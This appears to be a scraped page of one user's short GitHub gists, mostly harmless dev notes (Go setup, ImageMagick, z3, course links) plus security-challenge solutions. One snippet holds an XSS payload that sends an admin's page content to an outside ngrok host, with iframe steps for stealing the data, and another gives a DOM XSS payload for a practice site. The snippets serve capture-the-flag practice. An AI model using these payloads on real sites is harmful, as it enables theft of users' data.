diofeher

Connecting a Google Form to Github Projects

Create a Github App

Use the following doc: https://docs.github.com/en/developers/apps/building-github-apps/creating-a-github-app

1. Needed Permissions

diofeher

Courses

1. https://www.coursera.org/specializations/security-google-cloud-platform
2. https://www.coursera.org/professional-certificates/google-cloud-security
3. https://www.coursera.org/specializations/networking-google-cloud-platform
4. https://www.coursera.org/professional-certificates/google-cloud-networking
5. https://www.coursera.org/learn/cloud-infrastructure-design-process/home/welcome In this course there's a section of security.

Practice Exams:

diofeher

{{- /* Template based on https://docs.gitlab.com/ee/user/application_security/container_scanning/#reports-json-format */ -}}
{
  "version": "11.0.0",
  "vulnerabilities": [
  {{- $t_first := true }}
  {{- range . }}
  {{- $target := .Target }}
    {{- range .Vulnerabilities -}}
    {{- if $t_first -}}
      {{- $t_first = false -}}

diofeher

# concatenate two images with different sizes
convert image1.jpeg image2.jpeg -gravity Center -resize 800x200 +append output.jpeg

diofeher

# Installing Go environment on MAC + Visual Studio Code + Oh my ZSH
brew install go

cat <<EOT >> $HOME/.zshrc
export GOROOT="/usr/local/Cellar/go/1.14.4/libexec/"
export GOPATH="$HOME/workspace/go"
export PATH="${PATH}:${GOPATH}:${GOPATH}/bin"
EOT

source $HOME/.zshrc

diofeher

from z3 import Solver, Ints, Or, And, Not, sat

x, y, z = Ints('x y z')
s = Solver()

s.add(x >= 0, x <= 9)
s.add(y >= 0, y <= 9)
s.add(z >= 0, z <= 9)

diofeher

First - XSS on the User

<http://g<!s://q?<!-<[<script>top.admin.location='https://196cffb1.ngrok.io/?data='+JSON.stringify(top.admin.document.getElementsByClassName('is-4')[0].textContent.trim());/\*](http://g)->a><http://g<!s://g.c?<!-<[a\\*/</script>alert(13);/*](http://g)->a>

Second - Create a page with two iframes. With one, you stay with the admin logged in and with the other one:

1. Log out
2. Login with your XSS user
3. Control the admin iframe with XSS and exfiltrate the data

diofeher

Mobile

• https://github.com/wargio/fufluns
• https://github.com/frida/frida

diofeher

/*
 * ----------------------------------------------------------------------------
 * "THE BEER-WARE LICENSE" (Revision 42):
 * Balazs Bucsay wrote this file.  As long as you retain this notice you
 * can do whatever you want with this stuff. If we meet some day, and you think
 * this stuff is worth it, you can buy me a beer in return.    chroot@rycon.hu
 * (Lincense is stolen from Poul-Henning Kamp)
 * ----------------------------------------------------------------------------
 */

diofeher

Solutions of https://xss.pwnfunction.com/

Touch Ma Spaghet

Dom-Based XSS

https://sandbox.pwnfunction.com/warmups/ma-spaghet.html?somebody=%3Cimg%20src=%22x%22%20onerror=%22alert(1337)%22%20/%3E